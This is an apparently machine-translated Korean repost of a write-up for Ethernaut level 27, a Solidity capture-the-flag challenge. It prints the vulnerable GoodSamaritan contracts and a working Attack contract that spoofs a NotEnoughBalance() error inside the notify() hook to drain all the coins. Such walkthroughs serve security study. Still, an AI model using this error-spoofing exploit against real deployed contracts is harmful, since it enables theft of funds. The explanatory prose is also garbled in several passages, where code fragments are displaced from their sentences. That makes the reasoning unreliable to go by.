Ethernaut 27: 선한 사마리아인
15001 단어 ethereumopenzeppelinsecuritysolidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
선한 사마리아인 계약의 동전을 고갈하라는 요청을 받았습니다. 선한 사마리아인이 되는 이유는 무엇입니까? 글쎄요, 그것은 수 톤의 동전을 가지고 있고 그것을 기부할 의향이 있습니다. 하지만 한 번에 10개만. 계약의 100만 코인을 모두 소진하려면 한 번에 10개 이상을 가져와야 합니다.
고맙게도 이 수준의 작성자는 문자 그대로 댓글에서
requestDonation
기능 아래에 다음과 같은 단서를 제공했습니다. 이 함수를 보면 send the coins left
중에 발생한 예외를 처리하는 try-catch 절입니다. 특히 오류wallet.donate10(msg.sender)
로 인해 예외가 발생한 경우 나머지 코인을 모두 보냅니다.NotEnoughBalance();
는 어떻게 예외를 발생시킬 수 있습니까? 분명히 균형이 충분하지 않은 경우에만 던집니다donate10
. 그러나 함수 호출이 끝나는 곳이 아니라 NotEnoughBalance();
로 이동합니다.coin.transfer
에서 우리는 마침내 우리의 끝을 건드리는 무언가를 봅니다. 전송이 발생하고 그것이 계약 계정에 대한 것이라면 기본적으로 해당 계약에 이 전송에 대해 알리기 위해 coin.transfer
함수가 호출됩니다.이러한 것을 후크라고 하며 후크 기능을 지원하는 경우 계약이 이벤트 전/후/동안 코드를 실행할 수 있습니다. OpenZeppelin docs에서도 자세한 내용을 확인할 수 있습니다.
돌이켜보면 전송 중에
notify(uint256 amount)
를 던져야 하며 NotEnoughBalance();
핸들러 내에서 그렇게 할 수 있습니다. 하지만 문제가 있습니다. 단순히 그렇게 하면 notify
호출도 되돌려집니다. 따라서 transferRemainder
가 10인지 확인하고 이 경우에만 되돌릴 수 있습니다. 결과 공격자 계약은 다음과 같습니다.// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
// interface to call target function
interface IGoodSamaritan {
function requestDonation() external returns (bool enoughBalance);
}
contract Attack {
// error signature will be taken from here
error NotEnoughBalance();
// entry point for our attack, simply requests a donation
function pwn(address _addr) external {
IGoodSamaritan(_addr).requestDonation();
}
// notify is called when this contract receives coins
function notify(uint256 amount) external pure {
// only revert on 10 coins
if (amount == 10) {
revert NotEnoughBalance();
}
}
}
이것을 배포하고 대상 계약의 주소로 실행
amount
하면 모든 코인이 고갈됩니다!
Reference
이 문제에 관하여(Ethernaut 27: 선한 사마리아인), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/erhant/ethernaut-27-good-samaritan-1cp6텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)